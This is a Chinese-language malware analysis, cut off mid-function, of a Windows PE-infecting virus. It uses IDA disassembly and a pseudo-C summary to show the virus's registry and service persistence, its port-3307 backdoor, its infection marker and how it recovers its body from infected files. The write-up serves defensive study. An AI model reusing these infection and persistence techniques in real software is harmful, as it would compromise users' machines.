【工 具】:IDA 5.0
【任 务】:病毒分析以及解决方案
【操作平台】:Windows 2003 server
【作 者】: LoveBoom[DFCG][FCG][CUG]
【链 接】:N/A
【简要说明】:这是前段时间收到的一病毒样本,正好这两天有时间。细细的分析了一下,这个病毒是Windows平台的感染型病毒,病毒运行后会感染机器上的所有可执行文件(仅PE文件),感染后在中毒后机器上开启后门,以方便病毒作者控制中毒的机器。
【病毒分析】:
和以前一样,先看看中毒后的几个表象:
1、可见%System%\1021\services.exe文件,文件大小为:65536 Byte;
2、观察注册表项可见以下可疑注册表自启动项(仅针对Win9x):
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
键值:"ckass" = %System%\1021\services.exe
3、如果"%Windir%\css"文件存在时,可见"%Windir%\InetInfo.exe",并多出以下注册表自启动项(仅针对于Win9x):
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
键值:"InetInfo" =%Windir%\InetInfo.exe
4、机器开放TCP和UDP的连接,连接端口为:3307;
5、如果中毒后的机器A盘不可用则病毒会跳出错误提示:"驱动器中没有软盘。请在驱动器A:中插入软盘"
6、查看服务时会发现以下可疑的服务(WinNt内核):
服务名:services
服务描述:Themes Plug and Play
启动类型:自动
路径:%system%\1021\services.exe
如果上面的条件都符合你那么恭喜你,你中彩了。下面来看看病毒具体做了些什么,由于病毒同时感染Win9x和Winnt系统,因此这次没整理出病毒的流程,各位看官就跟着代码一起往下看吧。病毒本身是用标准的C编写,因此我直接定位到Winmain处进行分析(使用ida分析时ida能够解析出该位置):
.rsrc:0040800A _WinMain@16 proc near ; CODE XREF: start+C9 p
.rsrc:0040800A jmp sub_408020
......
病毒一进来就进行操作系统判断,然后设置相应的标记:
.rsrc:0040807A push offset szWinDir ; lpBuffer
.rsrc:0040807F call ds:GetWindowsDirectoryA
.rsrc:00408085 mov eax, ds:flg_OS
.rsrc:0040808A test eax, eax
.rsrc:0040808C jnz loc_408114 ; 如果不是Winnt系统则不跳
.rsrc:00408092 mov edi, offset Buffer
......
.rsrc:004080F7 dec ecx
.rsrc:004080F8 lea eax, [ebp+FileName] ; 如果是Win9x系统则病毒释放病毒原体为:
.rsrc:004080F8 ; %System%\1021\services.exe
.rsrc:004080FE push ecx ; cbData
.rsrc:004080FF push eax ; lpData
.rsrc:00408100 push 1 ; int
.rsrc:00408102 push offset ValueName ; "ckass"
.rsrc:00408107 push offset aSoftwareMicros ; hKey
.rsrc:0040810C call WriteReg ; 这里先将病毒写入注册表自启动项(这一步还没有生成病毒原体):
.rsrc:0040810C ; 主键:HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
.rsrc:0040810C ; 键值:"ckass" = %System%\1021\services.exe
.rsrc:00408111 add esp, 14h
.rsrc:00408114
.rsrc:00408114 loc_408114: ; CODE XREF: sub_408020+6C j
.rsrc:00408114 lea ecx, [ebp+FileName]
.rsrc:0040811A push 7FFh ; nSize
.rsrc:0040811F push ecx ; lpFilename
.rsrc:00408120 push 0 ; hModule
.rsrc:00408122 call ds:GetModuleFileNameA ; 获取程序进程名
.rsrc:00408128 lea edx, [ebp+WSAData]
.rsrc:0040812E push edx ; lpWSAData
.rsrc:0040812F push 101h ; wVersionRequested
.rsrc:00408134 call ds:WSAStartup ; 连接网络
.rsrc:0040813A lea eax, [ebp+FileName]
.rsrc:00408140 push eax ; lpFileName
.rsrc:00408141 call Init_Virus ; 这里进去病毒判断是否为病毒原体。
.rsrc:00408141 ; 如果不是病毒原体则释放出原体
.rsrc:00408146 add esp, 4
.rsrc:00408149 test al, al
.rsrc:0040814B jz short loc_408171
.rsrc:0040814D mov eax, ds:flg_OS
.rsrc:00408152 test eax, eax
.rsrc:00408154 jnz short loc_40817A ; 如果是Win9x系统则病毒执行如下命令:
.rsrc:00408154 ; shell %system%\1021\services.exe /autorun
.rsrc:00408156 push 0 ; nShowCmd
.rsrc:00408158 push 0 ; lpDirectory
.rsrc:0040815A push offset Parameters ; "/autorun"
.rsrc:0040815F push offset unk_4144A8 ; lpFile
.rsrc:00408164 push offset Operation ; "open"
.rsrc:00408169 push 0 ; hwnd
.rsrc:0040816B call ds:ShellExecuteA ; Opens or prints a specified fil
......
.rsrc:00408180 push offset unk_4144A8
.rsrc:00408185 push ecx
.rsrc:00408186 call strcmp_ ; 这里判断自身是否为
.rsrc:00408186 ; %system%\1021\services.exe
.rsrc:00408186 ; 判断相应的文件是否已经感染了病毒
.rsrc:0040818B add esp, 8
.rsrc:0040818E test eax, eax
.rsrc:00408190 jnz short loc_4081BA ; 如果不是则跳
.rsrc:00408192 lea edx, [ebp+ServiceStartTable]
.rsrc:00408195 mov [ebp+ServiceStartTable.lpServiceName], offset ServiceName ; "services"
.rsrc:0040819C push edx ; lpServiceStartTable
.rsrc:0040819D mov [ebp+ServiceStartTable.lpServiceProc], offset loc_40B370
.rsrc:004081A4 mov [ebp+var_8], eax
.rsrc:004081A7 mov [ebp+var_4], eax
.rsrc:004081AA call ds:StartServiceCtrlDispatcherA ; 如果是病毒本身则启动病毒 服务
.rsrc:004081B0 xor eax, eax
.rsrc:004081B2 pop edi
.rsrc:004081B3 pop esi
.rsrc:004081B4 mov esp, ebp
.rsrc:004081B6 pop ebp
.rsrc:004081B7 retn 10h
.rsrc:004081BA ; ---------------------------------------------------------------------------
.rsrc:004081BA
.rsrc:004081BA loc_4081BA: ; CODE XREF: sub_408020+158 j
.rsrc:004081BA ; sub_408020+170 j
.rsrc:004081BA call Shell_Other_body ; 运行%Windir%\INETINFO.exe,并将其加入注册表自启动项,
.rsrc:004081BA ; 加入的条件是%Windir%\css文件必须存在,
.rsrc:004081BA ; 存在后病毒将css文件复制为inetinfo.exe,然后运行之
......
.rsrc:004081C8 push 400F003Fh ; dwDesiredAccess
.rsrc:004081CD push 0 ; lpDatabaseName
.rsrc:004081CF push 0 ; lpMachineName
.rsrc:004081D1 call ds:OpenSCManagerA ; Establish a connection to the service
.rsrc:004081D1 ; control manager on the specified computer
.rsrc:004081D1 ; and opens the specified database
.rsrc:004081D7 mov ds:hSCObject, eax
.rsrc:004081DC call QueryServiceStat ; 检查病毒服务是否已经启动
.rsrc:004081E1 test al, al
.rsrc:004081E3 jnz short Server_is_active ; 如果服务已经启动则跳
.rsrc:004081E5 call QueryService ; 判断服务是否存在
.rsrc:004081EA test al, al
.rsrc:004081EC jnz short server_already_setup ; 如果服务已经安装则跳
.rsrc:004081EE call Createvirusser ; 创建病毒服务
.rsrc:004081F3
.rsrc:004081F3 server_already_setup: ; CODE XREF: sub_408020+1CC j
.rsrc:004081F3 call Shell_Services ; 启动病毒服务
.rsrc:004081F8
.rsrc:004081F8 Server_is_active: ; CODE XREF: sub_408020+1C3 j
.rsrc:004081F8 mov eax, ds:hSCObject
.rsrc:004081FD mov esi, ds:CloseServiceHandle
.rsrc:00408203 push eax ; hSCObject
......
.rsrc:0040820F
.rsrc:0040820F loc_40820F: ; CODE XREF: sub_408020+21B j
.rsrc:0040820F call Release_File ; 还原并加载感染前文件
.rsrc:00408214 test eax, eax
.rsrc:00408216 mov [ebp+pOEP], eax
.rsrc:00408219 jz short loc_40821E
.rsrc:0040821B call [ebp+pOEP]
.rsrc:0040821E
.rsrc:0040821E loc_40821E: ; CODE XREF: sub_408020+1F9 j
.rsrc:0040821E pop edi
.rsrc:0040821F xor eax, eax
.rsrc:00408221 pop esi
.rsrc:00408222 mov esp, ebp
.rsrc:00408224 pop ebp
.rsrc:00408225 retn 10h
.rsrc:00408228 ; ---------------------------------------------------------------------------
.rsrc:00408228
.rsrc:00408228 Win9xWay_408228: ; CODE XREF: sub_408020+1A6 j
.rsrc:00408228 mov edx, [ebp+pOEP]
.rsrc:0040822B push offset Parameters ; "/autorun"
.rsrc:00408230 push edx
.rsrc:00408231 call strcmp_
.rsrc:00408236 add esp, 8
.rsrc:00408239 test eax, eax
.rsrc:0040823B jnz short loc_40820F
.rsrc:0040823D mov esi, ds:CreateThread
.rsrc:00408243 push eax ; lpThreadId
.rsrc:00408244 push eax ; dwCreationFlags
.rsrc:00408245 push eax ; lpParameter
.rsrc:00408246 push offset Infect_Drivers ; lpStartAddress
.rsrc:0040824B push eax ; dwStackSize
.rsrc:0040824C push eax ; lpThreadAttributes
.rsrc:0040824D call esi ; CreateThread ; 启动感染本地文件线程
.rsrc:0040824F push 0 ; lpThreadId
.rsrc:00408251 push 0 ; dwCreationFlags
.rsrc:00408253 push 0 ; lpParameter
.rsrc:00408255 push offset Server ; lpStartAddress
.rsrc:0040825A push 0 ; dwStackSize
.rsrc:0040825C push 0 ; lpThreadAttributes
.rsrc:0040825E call esi ; CreateThread ; 启动设置后门线程
.rsrc:00408260 mov esi, ds:Sleep
.rsrc:00408266
.rsrc:00408266 loc_408266: ; CODE XREF: sub_408020+24D j
.rsrc:00408266 push 600000 ; dwMilliseconds
.rsrc:0040826B call esi ; Sleep
.rsrc:0040826D jmp short loc_408266 ; 到这里实际上已经结束了,实际这里病毒用个sleep,-1即可
.rsrc:0040826D sub_408020 endp
到这里为此病毒的主流程就结束了,总的来说还是很简单的,下面将以上代码转成C以方便理解(是类C哦,之所以说是类C是因为下面的代码是我自己按理解的方式写成C的,按照标准的方法可能是有语法错误的):
//获取系统版本信息
if (flg_OS == Win9x)
{
szservices = %system%\1021\services.exe;
WriteReg(HKLM,"software\\..\\run",""ckass",reg_sz,szservices,len(szservices ) + 1);
}
GetModuleFileNameA(GetModuleHandleA(NULL),szAppFullName,MAX_PATH);
WSAStartup(0x101,buffer);
nRetCode = Init_Virus(arg1);
if (nRetCode)
{
if (flg_OS == Win9x)
{
ShellExecute(NULL,"open","%system%\1021\services.exe /autorun",NULL,NULL);
}
}
if (flg_OS== WinNT)
{
nRetCode = strcmp_(arg1,arg2);
if (!nRetCode)
{
StartServiceCtrlDispatcher(arg1);
return 0;
}
}
Shell_Other_body();
if (flg_OS == WinNT)
{
hScobject = OpenSCManager(NULL,NULL,desiresAccess);
nRetCode = QueryServicestatus();
if (!nRetCode)
{
nRetCode = QueryService();
if (!nRetCode)
{
//安装服务
Createvirusservice();
}
Shell_Services();
}
CloseServicehandle (hScobject);
CloseServicehandle (arg1);
lbl_Release_File:
DWORD uEP = Release_file(); //还原出感染前的文件
if (uEP)
{
call uEP
}
Return 0;
}
else
{
if (strcmp_(arg1,arg2) //判断是病毒原体还是感染后文件,是感染后文件则跳去还原原文件
goto lbl_Release_File;
CreateThread(NULL,NULL,pInfect_Drivers,NULL,NULL,NULL); //启动感染文件线程
CreateThread(NULL,NULL,pServer,NULL,NULL,NULL); //启动开启后门线程
lbl_Loop:
Sleep (60000);
goto lbl_Loop;
}
通过上面C代码的总结,可以得知病毒调用了以下几个函数(函数的相关说明参见相应的汇编代码分析。):
Init_Virus
Shell_Other_body
Createvirusser
Shell_Services
Release_File
Infect_Drivers
Server
这个几函数中,其中Server是在本地开放TCP和UDP连接,连接端口为3307,代码比杂,我没有去细分析,因此这部分后面不再陈述。下面来分别来看看除server之外的其它几个函数都做了些什么:
Init_Virus:
.rsrc:00409320 ; =============== S U B R O U T I N E =======================================
.rsrc:00409320
.rsrc:00409320
.rsrc:00409320 ; int __cdecl Init_Virus(LPCSTR lpFileName)
.rsrc:00409320 Init_Virus proc near ; CODE XREF: sub_408020+121 p
......
.rsrc:0040937A call ds:GetFileAttributesA
.rsrc:00409380 cmp eax, -1 ; 判断%system%\1021文件夹是否存在
.rsrc:00409383 mov ds:dwFileAttributes, eax
.rsrc:00409388 jnz short loc_4093A1
.rsrc:0040938A
.rsrc:0040938A loc_40938A: ; CODE XREF: Init_Virus+93 j
.rsrc:0040938A push 0 ; lpSecurityAttributes
.rsrc:0040938C push offset unk_4144A8 ; lpPathName
.rsrc:00409391 call ds:CreateDirectoryA ; 如果不存在则创建该文件夹
.rsrc:00409397 test eax, eax
.rsrc:00409399 jnz short loc_4093BB ; 创建文件夹失败则over
.rsrc:0040939B pop edi
......
.rsrc:004093E6 rep movsb
.rsrc:004093E8 call chk_servicesfile ; 判断%system%\1021\services.exe文件是否存在,
.rsrc:004093E8 ; 以及是否为有病毒原体本身.
.rsrc:004093E8 ; 病毒判断是否为病毒本身的方法:
.rsrc:004093E8 ; 判断文件尾部两字节是否为02
.rsrc:004093E8 ; 如果是02则病毒是当前病毒原体,如果不是则停止病毒服务,
.rsrc:004093E8 ; 删除services.exe文件.
.rsrc:004093E8 ; 同时这也是用于删除旧版本的病毒体。
.rsrc:004093ED mov eax, [esp+0Ch+lpFileName]
......
.rsrc:0040941C mov edi, ds:SetFileAttributesA
.rsrc:00409422 push 80h ; dwFileAttributes
.rsrc:00409427 push offset unk_4144A8 ; lpFileName
.rsrc:0040942C call edi ; SetFileAttributesA ; 设置%system%\1021\services.exe文件属性为normal
.rsrc:0040942E push 0 ; hTemplateFile
.rsrc:00409430 push 80000087h ; dwFlagsAndAttributes
.rsrc:00409435 push 2 ; dwCreationDisposition
.rsrc:00409437 push 0 ; lpSecurityAttributes
.rsrc:00409439 push 3 ; dwShareMode
.rsrc:0040943B push 0C0000000h ; dwDesiredAccess
.rsrc:00409440 push offset unk_4144A8 ; lpFileName
.rsrc:00409445 call esi ; CreateFileA ; 打开%system%\1021\services.exe
.rsrc:00409447 cmp eax, 0FFFFFFFFh
.rsrc:0040944A mov ds:hFileServices, eax
.rsrc:0040944F jnz short loc_409463
.rsrc:00409451 push 87h ; dwFileAttributes
.rsrc:00409456 push offset unk_4144A8 ; lpFileName
.rsrc:0040945B call edi ; SetFileAttributesA ; 设置文件属性为normal
.rsrc:0040945D pop edi
......
.rsrc:0040946A push 0 ; lpFileSizeHigh
.rsrc:0040946C push ecx ; hFile
.rsrc:0040946D call ds:GetFileSize ; 获取病毒原体的大小
.rsrc:00409473 mov edx, ds:pheap
.rsrc:00409479 push eax ; dwBytes
.rsrc:0040947A push 8 ; dwFlags
.rsrc:0040947C push edx ; hHeap
.rsrc:0040947D mov ds:lDistanceToMove, eax
.rsrc:00409482 call ds:HeapAlloc ; 申请文件大小大的内存空间
.rsrc:00409488 mov edx, ds:lDistanceToMove
.rsrc:0040948E lea ecx, [esp+10h+NumberOfBytesRead]
.rsrc:00409492 push 0 ; lpOverlapped
.rsrc:00409494 push ecx ; lpNumberOfBytesRead
.rsrc:00409495 push edx ; nNumberOfBytesToRead
.rsrc:00409496 mov ds:lpBaseAddress, eax
.rsrc:0040949B push eax ; lpBuffer
.rsrc:0040949C mov eax, ds:hFileApp
.rsrc:004094A1 push eax ; hFile
.rsrc:004094A2 call ds:ReadFile ; 将文件内容读取至内存
.rsrc:004094A8 call Release_Virus_Body ; 如果是感染后文件则释放出病毒原体
.rsrc:004094AD test al, al
.rsrc:004094AF jnz short loc_4094BE
.rsrc:004094B1 call sub_4092C0 ; 写入感染标记
.rsrc:004094B6 test al, al
.rsrc:004094B8 jnz short loc_4094BE
......
.rsrc:004094EA push ecx ; hObject
.rsrc:004094EB call esi ; CloseHandle
.rsrc:004094ED push FILE_ATTRIBUTE_READONLY or FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM or FILE_ATTRIBUTE_NORMAL ; dwFileAttributes
.rsrc:004094F2 push offset unk_4144A8 ; lpFileName
.rsrc:004094F7 call edi ; SetFileAttributesA ; 设置病毒原体文件属性
......
.rsrc:004094FD pop esi
.rsrc:004094FE pop ecx
.rsrc:004094FF retn
.rsrc:004094FF Init_Virus endp
在Init_Virus函数中又调用了以下两个函数,跟进来看看这两个函数又做了什么:
chk_servicesfile:
.rsrc:00409890 ; =============== S U B R O U T I N E =======================================
.rsrc:00409890
.rsrc:00409890
.rsrc:00409890 chk_servicesfile proc near ; CODE XREF: Init_Virus+C8 p
.rsrc:00409890
......
.rsrc:004098A2 push 80000000h ; dwDesiredAccess
.rsrc:004098A7 push offset unk_4144A8 ; lpFileName
.rsrc:004098AC call ds:CreateFileA ; 只读方式打开%System%\1021\services.exe文件
.rsrc:004098B2 cmp eax, -1
.rsrc:004098B5 mov ds:hFileServices, eax
.rsrc:004098BA jz end
.rsrc:004098C0 push 0 ; lpFileSizeHigh
.rsrc:004098C2 push eax ; hFile
.rsrc:004098C3 call ds:GetFileSize
.rsrc:004098C9 mov ds:nNumberOfBytesToRead, eax
.rsrc:004098CE push FILE_BEGIN ; dwMoveMethod
.rsrc:004098D0 add eax, -2
.rsrc:004098D3 push 0 ; lpDistanceToMoveHigh
.rsrc:004098D5 push eax ; lDistanceToMove
.rsrc:004098D6 mov eax, ds:hFileServices
.rsrc:004098DB push eax ; hFile
.rsrc:004098DC call ds:SetFilePointer ; 读取文件尾最后两字节
.rsrc:004098E2 mov eax, ds:hFileServices
.rsrc:004098E7 lea ecx, [esp+4Ch+NumberOfBytesRead]
.rsrc:004098EB push 0 ; lpOverlapped
.rsrc:004098ED push ecx ; lpNumberOfBytesRead
.rsrc:004098EE lea edx, [esp+54h+Buffer]
.rsrc:004098F2 push 2 ; nNumberOfBytesToRead
.rsrc:004098F4 push edx ; lpBuffer
.rsrc:004098F5 push eax ; hFile
.rsrc:004098F6 call ds:ReadFile ; 读取文件尾最后两字节
.rsrc:004098FC mov ecx, ds:hFileServices
.rsrc:00409902 push ecx ; hObject
.rsrc:00409903 call ds:CloseHandle
.rsrc:00409909 mov ax, word ptr [esp+4Ch+Buffer]
.rsrc:0040990E cmp al, '0'
.rsrc:00409910 jl short loc_409940
.rsrc:00409912 cmp al, '9'
.rsrc:00409914 jg short loc_409940
.rsrc:00409916 cmp ah, '0'
.rsrc:00409919 jl short loc_409940
.rsrc:0040991B cmp ah, 39h
.rsrc:0040991E jg short loc_409940
.rsrc:00409920 movsx edx, byte ptr ds:a02+1
.rsrc:00409927 movsx ecx, byte ptr ds:a02 ; "02"
.rsrc:0040992E add edx, ecx
.rsrc:00409930 movsx ecx, ah
.rsrc:00409933 movsx eax, al
.rsrc:00409936 add ecx, eax
.rsrc:00409938 cmp ecx, edx
.rsrc:0040993A jge end ; 如果文件尾最后两字节大于或等于02表示病毒已经感染或者
.rsrc:0040993A ; 已经是当前最新版本
.rsrc:00409940
.rsrc:00409940 loc_409940: ; CODE XREF: chk_servicesfile+80 j
.rsrc:00409940 ; chk_servicesfile+84 j ...
.rsrc:00409940 push 0 ; protocol
.rsrc:00409942 push 1 ; type
.rsrc:00409944 push 2 ; af
.rsrc:00409946 mov byte ptr [esp+58h+Buffer+2], 7Fh
.rsrc:0040994B mov byte ptr [esp+58h+Buffer+3], 0
.rsrc:00409950 mov [esp+58h+var_3E], 0 ; 如果不为02则表示为低版本或者不是该病毒,病毒通过
.rsrc:00409950 ; 网络下载新版的病毒。
.rsrc:00409955 mov [esp+58h+var_3D], 1 ; 那当然这个可能是病毒作者未完成的模块,因为这里并没有
.rsrc:00409955 ; 写上病毒真正连接地址。或者病毒通过后门连接后放到本地
.rsrc:00409955 ; 然后这里下载。
.rsrc:0040995A call ds:socket
.rsrc:00409960 mov esi, eax
......
.rsrc:004099D0 push eax ; hService
.rsrc:004099D1 call ds:ControlService ; Send a control code to a Win32 service
.rsrc:004099D7 test eax, eax ; 停止services服务
.rsrc:004099D9 jz short end
.rsrc:004099DB
.rsrc:004099DB loc_4099DB: ; CODE XREF: chk_servicesfile+195 j
.rsrc:004099DB call Del_Service_File ; 停止服务,删除services.exe文件
.rsrc:004099E0
.rsrc:004099E0 end: ; CODE XREF: chk_servicesfile+2A j
.rsrc:004099E0 ; chk_servicesfile+AA j ...
.rsrc:004099E0 pop edi
.rsrc:004099E1 pop esi
.rsrc:004099E2 add esp, 44h
.rsrc:004099E5 retn
.rsrc:004099E6 ; ---------------------------------------------------------------------------
.rsrc:004099E6
.rsrc:004099E6 loc_4099E6: ; CODE XREF: chk_servicesfile+106 j
.rsrc:004099E6 test esi, esi
.rsrc:004099E8 jz short loc_40999F
.rsrc:004099EA mov edi, ds:send
.rsrc:004099F0 push 0 ; flags
.rsrc:004099F2 lea eax, [esp+50h+buf]
.rsrc:004099F6 push 8 ; len
.rsrc:004099F8 push eax ; buf
.rsrc:004099F9 push esi ; s
.rsrc:004099FA mov dword ptr [esp+5Ch+buf], 4
.rsrc:00409A02 mov [esp+5Ch+var_34], 0FFFF000Dh
.rsrc:00409A0A call edi ; send
.rsrc:00409A0C push 0 ; flags
.rsrc:00409A0E lea ecx, [esp+50h+buf]
.rsrc:00409A12 push 8 ; len
.rsrc:00409A14 push ecx ; buf
.rsrc:00409A15 push esi ; s
.rsrc:00409A16 call ds:recv
.rsrc:00409A1C mov eax, [esp+4Ch+var_34]
.rsrc:00409A20 cmp eax, 0FFFF000Dh
.rsrc:00409A25 jz short loc_4099DB ; 停止服务,删除services.exe文件
.rsrc:00409A27 cmp eax, 0FFFF000Ch
.rsrc:00409A2C jnz loc_40999F
.rsrc:00409A32 push 0 ; flags
.rsrc:00409A34 lea edx, [esp+50h+buf]
.rsrc:00409A38 push 8 ; len
.rsrc:00409A3A push edx ; buf
.rsrc:00409A3B push esi ; s
.rsrc:00409A3C mov dword ptr [esp+5Ch+buf], 4
.rsrc:00409A44 mov [esp+5Ch+var_34], 0FFFF0002h
.rsrc:00409A4C call edi ; send
.rsrc:00409A4E push esi ; s
.rsrc:00409A4F call ds:closesocket
.rsrc:00409A55 pop edi
.rsrc:00409A56 pop esi
.rsrc:00409A57 add esp, 44h
.rsrc:00409A5A retn
.rsrc:00409A5A chk_servicesfile endp
.rsrc:00409A5A
.rsrc:00409A5A ; ---------------------------------------------------------------------------
chk_servicesfile函数用于判断%system%\1021目录下的services.exe文件是否为病毒本身,不是则下载病毒替换旧版本或者非病毒的该文件。接下来看看Release_Virus_Body:
.rsrc:004090A0 Release_Virus_Body proc near ; CODE XREF: Init_Virus+188 p
.rsrc:004090A0
......
.rsrc:004090AC push esi
.rsrc:004090AD mov eax, [edx+IMAGE_DOS_HEADER.e_lfanew]
.rsrc:004090B0 push edi
.rsrc:004090B1 add eax, edx
.rsrc:004090B3 mov cx, [eax+IMAGE_NT_HEADERS.FileHeader.NumberOfSections]
.rsrc:004090B7 lea ecx, [ecx+ecx*4]
.rsrc:004090BA mov esi, [eax+ecx*8+0D8h] ; 获取最后一个节的Vsize
.rsrc:004090C1 mov edi, [eax+ecx*8+0E4h] ; 获取最一个节Roffset
.rsrc:004090C8 lea ecx, [eax+ecx*8+0D0h] ; 将pLastSec传给ecx
.rsrc:004090CF add edi, esi ; Roffset + Vsize
.rsrc:004090D1 lea ebx, [edi+edx-1008h] ; pVirusBody = (pmem + (Roffset + Vsize)) - 1008h
.rsrc:004090D8 mov edx, [eax+IMAGE_NT_HEADERS.OptionalHeader.ImageBase] ; 获取ImgBase
.rsrc:004090DB mov eax, [ecx+IMAGE_SECTION_HEADER.VirtualAddress] ; 将最后一个节Rva保存到eax中
.rsrc:004090DE mov [esp+28h+ImgBase], edx
.rsrc:004090E2 lea ecx, [eax+esi-10E8h] ; 最后一个节Rva + Vsize - 10e8h
.rsrc:004090E9 mov eax, [ebx+IMAGE_DOS_HEADER.e_lfanew] ; 定位病毒原体的pe头
.rsrc:004090EC cmp eax, 1000h
.rsrc:004090F1 mov [esp+28h+nSizeOfImgBase], ecx
.rsrc:004090F5 jbe short loc_409100 ; 如果原病毒体pe位置大于0x1000则over
.rsrc:004090F7 pop edi
.rsrc:004090F8 pop esi
.rsrc:004090F9 xor al, al
.rsrc:004090FB pop ebx
.rsrc:004090FC add esp, 1Ch
.rsrc:004090FF retn
.rsrc:00409100 ; ---------------------------------------------------------------------------
.rsrc:00409100
.rsrc:00409100 loc_409100: ; CODE XREF: Release_Virus_Body+55 j
.rsrc:00409100 mov esi, [eax+ebx]
.rsrc:00409103 xor ecx, ecx
.rsrc:00409105 mov cx, [eax+ebx+IMAGE_NT_HEADERS.FileHeader.NumberOfSections]
.rsrc:0040910A lea edx, [eax+ebx+0F8h] ; edx为第一个节所在的位置pSecHdr
.rsrc:00409111 mov [esp+28h+Vir_nSecNum], ecx
.rsrc:00409115 cmp esi, 'EP' ; 判断是否为有效的pe文件
.rsrc:0040911B lea ecx, [ecx+ecx*4]
.rsrc:0040911E lea edi, [eax+ebx+18h]
.rsrc:00409122 lea ecx, [edx+ecx*8-28h]
.rsrc:00409126 jz short loc_409131 ; 定位到病毒体最后一个节
.rsrc:00409128 pop edi
.rsrc:00409129 pop esi
.rsrc:0040912A xor al, al
.rsrc:0040912C pop ebx
.rsrc:0040912D add esp, 1Ch
.rsrc:00409130 retn
.rsrc:00409131 ; ---------------------------------------------------------------------------
.rsrc:00409131
......
src:0040925A push edx ; lpNumberOfBytesWritten
.rsrc:0040925B push esi ; nNumberOfBytesToWrite
.rsrc:0040925C push eax ; lpBuffer
.rsrc:0040925D push ecx ; hFile
.rsrc:0040925E call edi ; WriteFile ; 写入病毒原体文件
.rsrc:00409260 mov edx, ds:lpBuffer
......
.rsrc:0040929E push 2 ; nNumberOfBytesToWrite
.rsrc:004092A0 push offset a02 ; "02"
.rsrc:004092A5 push edx ; hFile
.rsrc:004092A6 call edi ; WriteFile ; 写入感染标记02
.rsrc:004092A8 pop edi
.rsrc:004092A9 pop esi
.rsrc:004092AA mov al, 1
.rsrc:004092AC pop ebx
.rsrc:004092AD add esp, 1Ch
.rsrc:004092B0 retn
.rsrc:004092B0 Release_Virus_Body endp
.rsrc:004092B0
.rsrc:004092B0 ; ---------------------------------------------------------------------------
这部分就是病毒对于感染后文件的释放病毒原体的过程,病毒本身大概是这样做的:
在感染文件前将病毒的PE头信息保存在要感染的文件中(保存在最后一个节),然后感染文件。运行感染后的文件时,病毒读取保存的病毒PE头信息,然后根据头部信息还原出病毒原体,还原出原体后写上感染标记02,以防止病毒感染自身。
看完释放原体部分后回到第一层看看Shell_other_body函数:
.rsrc:00408310 ; =============== S U B R O U T I N E =======================================
.rsrc:00408310
.rsrc:00408310
.rsrc:00408310 Shell_Other_body_01 proc near ; CODE XREF: Shell_Other_body j
.rsrc:00408310
......
.rsrc:004083CF and ecx, 3
.rsrc:004083D2 push eax ; lpFileName
.rsrc:004083D3 rep movsb
.rsrc:004083D5 call ds:SetFileAttributesA ; 设置%Windir%\INETINFO.exe文件属性为normal
.rsrc:004083DB push ebp ; hTemplateFile
.rsrc:004083DC push FILE_ATTRIBUTE_READONLY or FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM or FILE_ATTRIBUTE_NORMAL ; dwFlagsAndAttributes
.rsrc:004083E1 push 2 ; dwCreationDisposition
.rsrc:004083E3 push ebp ; lpSecurityAttributes
.rsrc:004083E4 mov esi, ds:CreateFileA
.rsrc:004083EA push 3 ; dwShareMode
.rsrc:004083EC lea ecx, [esp+82Ch+Data]
.rsrc:004083F0 push 0C0000000h ; dwDesiredAccess
.rsrc:004083F5 push ecx ; lpFileName
.rsrc:004083F6 call esi ; CreateFileA ; 打开%Windir%\INETINFO.exe文件,带写和读属性
.rsrc:004083F8 mov ebx, eax
.rsrc:004083FA cmp ebx, 0FFFFFFFFh
.rsrc:004083FD jnz short loc_40840F
......
.rsrc:00408481 or ecx, 0FFFFFFFFh
.rsrc:00408484 xor eax, eax
.rsrc:00408486 repne scasb ; 如果%Windir%\css文件存在则将该文件内容替换
.rsrc:00408486 ; InetInfo.exe文件的文件内容,其实就是替换文件操作
.rsrc:00408488 not ecx
.rsrc:0040848A dec ecx
.rsrc:0040848B lea eax, [esp+818h+Data]
.rsrc:0040848F push ecx ; cbData
.rsrc:00408490 push eax ; lpData
.rsrc:00408491 push 1 ; int
.rsrc:00408493 push offset aInetinfo ; "InetInfo"
.rsrc:00408498 push offset aSoftwareMicros ; hKey
.rsrc:0040849D call WriteReg ; 替换完毕后将inetinfo.exe写入注册表自启动项中
.rsrc:004084A2 add esp, 14h
.rsrc:004084A5 mov edi, 1
.rsrc:004084AA jmp short loc_4084B0
......
.rsrc:004084C3 push 5 ; nShowCmd
.rsrc:004084C5 push 0 ; lpDirectory
.rsrc:004084C7 lea ecx, [esp+820h+Data]
.rsrc:004084CB push offset byte_414148 ; lpParameters
.rsrc:004084D0 push ecx ; lpFile
.rsrc:004084D1 push offset Operation ; "open"
.rsrc:004084D6 push 0 ; hwnd
.rsrc:004084D8 call ds:ShellExecuteA ; Opens or prints a specified file
.rsrc:004084DE
.rsrc:004084DE loc_4084DE: ; CODE XREF: Shell_Other_body_01+1B1 j
.rsrc:004084DE mov eax, edi ; 写入%Windir%\INETINFO.exe成功后运行该程序.
.rsrc:004084E0 pop edi
.rsrc:004084E1 pop esi
.rsrc:004084E2 pop ebp
.rsrc:004084E3 pop ebx
.rsrc:004084E4 add esp, 808h
.rsrc:004084EA retn
.rsrc:004084EA Shell_Other_body_01 endp
.rsrc:004084EA
.rsrc:004084EA ; ---------------------------------------------------------------------------
总的来说Shell_other_body函数是比较简单的,只是简单的复制/执行相关程序。
跟着来看看Createvirusser函数部分:
.rsrc:0040B260 ; =============== S U B R O U T I N E =======================================
.rsrc:0040B260
.rsrc:0040B260
.rsrc:0040B260 Createvirusser proc near ; CODE XREF: sub_408020+1CE p
.rsrc:0040B260 mov eax, ds:hSCObject
.rsrc:0040B265 push ebx
......
.rsrc:0040B27D push 2 ; dwStartType
.rsrc:0040B27F push 10h ; dwServiceType
.rsrc:0040B281 push 0F01FFh ; dwDesiredAccess
.rsrc:0040B286 push offset DisplayName ; "Themes Plug and Play"
.rsrc:0040B28B push offset ServiceName ; "services"
.rsrc:0040B290 push eax ; hSCManager
.rsrc:0040B291 call ds:CreateServiceA
.rsrc:0040B297 mov ds:dword_414718, eax
.rsrc:0040B29C test eax, eax
.rsrc:0040B29E mov al, 1
.rsrc:0040B2A0 jnz short loc_40B2A4
.rsrc:0040B2A2
